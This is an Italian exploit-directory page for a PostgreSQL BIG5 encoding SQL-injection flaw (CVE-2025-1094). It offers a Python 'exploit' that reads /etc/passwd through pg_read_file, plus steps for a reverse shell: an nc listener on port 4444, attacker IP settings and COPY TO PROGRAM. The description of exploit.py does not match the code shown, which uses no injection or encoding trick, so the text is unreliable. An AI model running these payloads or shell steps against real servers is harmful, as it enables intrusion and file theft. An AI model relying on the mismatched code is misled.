Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-1094 — È un difetto di sanitizzazione dell'input causato da una discrepanza di codifica, che consente a input appositamente creati di bypassare i filtri. Se un server è vulnerabile, un attaccante può iniettare SQL dannoso che il backend esegue. | Kitploit
Strumenti/GitHubGitHub/aninfosec/cve-2025-1094
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo PayloadSicurezza dei DatabaseLab e Pratica
GitHubaninfosec/cve-2025-1094

CVE-2025-1094

È un difetto di sanitizzazione dell'input causato da una discrepanza di codifica, che consente a input appositamente creati di bypassare i filtri. Se un server è vulnerabile, un attaccante può iniettare SQL dannoso che il backend esegue.

121 anno faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

#Ho scritto questo exploit facendo riferimento al PoC disponibile su CVE-2025-1094

CVE‑2025‑1094 | Vulnerabilità di Sanitizzazione degli Input in PostgreSQL

Panoramica

CVE‑2025‑1094 è una vulnerabilità di sanitizzazione degli input nelle funzioni di escape libpq di PostgreSQL e nello strumento interattivo psql. Deriva da una gestione impropria delle codifiche multi-byte quando la codifica del client è impostata su BIG5. In determinate condizioni, ciò può portare a una gestione errata dei caratteri di escape, consentendo agli aggressori di bypassare i confini previsti delle query.

Questa vulnerabilità è stata scoperta da Rapid7 durante l'analisi di CVE‑2024‑12356, un problema separato nei dispositivi BeyondTrust. Il comportamento di PostgreSQL è stato sfruttato come parte di una più ampia vulnerabilità a catena per influenzare ulteriormente il comportamento del backend.

Come Funziona

Quando un server web o un'applicazione passa l'input dell'utente direttamente in query SQL eseguite tramite psql e è impostato su , un input appositamente predisposto può terminare precocemente un'istruzione SQL e aggiungere SQL malevolo.

client_encoding
BIG5

Ciò consente operazioni aggiuntive come la lettura di file locali (ad esempio /etc/passwd) tramite funzioni di PostgreSQL come lo_export, pg_read_file o simili.

Di default, questa non è una vulnerabilità di esecuzione remota di codice (RCE) in PostgreSQL. Piuttosto, è un uso improprio delle API client di PostgreSQL che, se non adeguatamente filtrate o escaped, può essere abusato per divulgare contenuti sensibili di file o potenzialmente eseguire SQL pericoloso.

Impatto

  • Consente l'accesso in lettura a file dal server PostgreSQL se configurato in modo insicuro.
  • Permette ad aggressori con credenziali valide di sfruttare COPY TO, pg_read_file o lo_export quando combinati con SQL injection nelle applicazioni client.
  • Gli exploit sono efficaci solo quando la codifica del client è BIG5 e l'input non è adeguatamente sanificato.

Condizioni Necessarie per lo Sfruttamento

  • L'aggressore dispone di credenziali PostgreSQL valide (contesto autenticato) o accesso a un server web che invia input direttamente al server PostgreSQL.
  • Il SQL di backend è PostgreSQL e utilizza una versione vulnerabile (precedente alle versioni corrette di giugno 2025).
  • L'applicazione passa direttamente input non sanificato nelle query SQL.
  • Il client PostgreSQL è configurato con client_encoding=BIG5.

Dimostrazione dell'Exploit

root@kitploit:~
import psycopg2

conn = psycopg2.connect(
    host="127.0.0.1",
    dbname="test",
    user="test",
    password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()

# Payload per leggere /etc/passwd in un file accessibile dal server
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""

cursor.execute(sql)
conn.commit()

##✅ Cosa fa questo Exploit.py:

Imposta PGCLIENTENCODING=BIG5 nell'ambiente (condizione scatenante).

Costruisce un payload di SQL injection per evadere da una query e inserire un nuovo comando COPY TO PROGRAM.

Invia il payload tramite una richiesta GET al server web vulnerabile (/search?q=...).

Se il backend utilizza psql e input non sanificato, COPY TO PROGRAM viene eseguito e scrive il risultato o apre una shell.

⚠️ La reverse shell avrà successo solo se il server:

root@kitploit:~
Esegue SQL tramite psql (non driver DB parametrizzati)

Consente COPY TO PROGRAM (richiede superuser)

Ha connettività in uscita verso l'aggressore

#Lo script Python invia un payload appositamente predisposto a un server web vulnerabile che passa l'input direttamente a un processo psql di PostgreSQL con codifica BIG5: Passaggi per l'uso:

Avvia un listener sul terminale:

nc -lvnp 4444

Modifica lo script dell'exploit:

Imposta TARGET_URL sull'IP o dominio del server target. Verifica che ENDPOINT corrisponda alla rotta (es. /search). Regola REVERSE_IP e REVERSE_PORT in modo che corrispondano alla tua macchina attaccante.

Esegui lo script in un terminale diverso:

python3 exploit.py

Risultato: In caso di successo, riceverai una connessione sul tuo listener. In caso contrario, prova a leggere file (es. /etc/passwd) utilizzando payload con pg_read_file.

Ambiente di Test

Per testare questo:

  • PostgreSQL 14.x (o versioni vulnerabili precedenti).
  • Inizializzato con codifica EUC_TW o simile.
  • Il livello applicativo (es. Flask) interagisce con PostgreSQL usando psql o SQL dinamico non escaped.
  • L'utente PostgreSQL deve avere accesso a funzioni come pg_read_file o lo_export.

Mitigazioni

  • Aggiornare alle versioni corrette di PostgreSQL (≥ 17.3, 16.7, 15.11, 14.16, 13.19).
  • Evitare client_encoding=BIG5 se non espressamente necessario.
  • Non passare mai input utente grezzo in contesti di esecuzione SQL.
  • Utilizzare istruzioni preparate e librerie di validazione dell'input.

Riferimenti

  • Blog di Rapid7: Analisi Tecnica
  • Avviso PostgreSQL: Rilascio di Sicurezza Giugno 2025
  • Dettagli CVE: CVE-2025-1094
Scarica lo strumento